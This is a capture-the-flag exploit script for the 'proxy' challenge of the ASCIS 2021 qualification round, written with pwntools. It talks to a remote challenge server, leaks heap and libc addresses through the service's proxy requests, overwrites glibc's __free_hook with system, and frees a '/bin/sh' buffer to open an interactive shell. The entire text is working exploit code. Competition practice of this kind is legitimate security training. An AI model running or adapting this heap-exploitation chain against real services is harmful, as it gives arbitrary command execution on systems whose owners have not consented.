ASCIS 2021 Qualification Round - proxy

exp.py

#!/usr/bin/env python3

from pwn import *

context.clear(arch='amd64', os='linux', endian='little')
libc = ELF('./libc-2.31.so')
MY_IP = b''

r = remote('125.235.240.166', 20120)

def new_req(idx, host, port, size, data):
    r.sendlineafter(b'> ', b'1')
    r.sendline(str(idx).encode('ascii'))
    r.sendline(host)
    r.sendline(str(port).encode('ascii'))
    r.sendline(str(size).encode('ascii'))
    r.send(data)

def edit_req(idx, host, port, size, data):
    r.sendlineafter(b'> ', b'2')
    r.sendline(str(idx).encode('ascii'))
    r.sendline(host)
    r.sendline(str(port).encode('ascii'))
    r.sendline(str(size).encode('ascii'))
    r.send(data)

def del_req(idx):
    r.sendlineafter(b'> ', b'3')
    r.sendline(str(idx).encode('ascii'))

def show_res():
    r.sendlineafter(b'> ', b'4')

l = listen(4242)

new_req(0, MY_IP, 4242, 0x10, b'\n')
new_req(1, MY_IP, 4242, 0x500, b'\n')
new_req(2, MY_IP, 4242, 0x20, b'\n')

l.wait_for_connection()

edit_req(0, MY_IP, 4242, 0x1000, b'\n')
r.recvuntil(b'Done!')

l.send(b'\x00')
l.close()

for i in range(1, 3):
    l = listen(4242)
    l.wait_for_connection()
    l.send(str(i).encode('ascii') * 0x10)
    l.close()

for i in range(1, 3):
    del_req(i)

show_res()

for i in range(7):
    r.recvline()

arena = u64(unhex(r.recvn(24).replace(b' ', b'')))
log.info('arena = 0x%x' % arena)

new_req(1, MY_IP, 4242, 0x500, b'\n')
new_req(2, MY_IP, 4242, 0x10, b'\n')
del_req(1)

l = listen(4242)
l.wait_for_connection()

edit_req(0, MY_IP, 4242, 0x1000, p8(0x0) * 0x528 + p64(0x35) + p64(arena) + p32(4242) + p32(0x10) + p64(arena + 0x810) + b'\n')
show_res()
r.recvuntil(b'Buffer :\n')
r.recvuntil(b'Buffer :\n')
libc.address = u64(unhex(r.recvn(24).replace(b' ', b''))) - 0x1ebb80
log.info('libc = 0x%x' % libc.address)

edit_req(0, b'/bin/sh', 4242, 0x1000, p8(0x0) * 0x528 + p64(0x35) + p64(libc.symbols['__free_hook']) + b'\n')
edit_req(2, p64(libc.symbols['system']), 1337, 0x10, b'\n')

del_req(0)
r.interactive()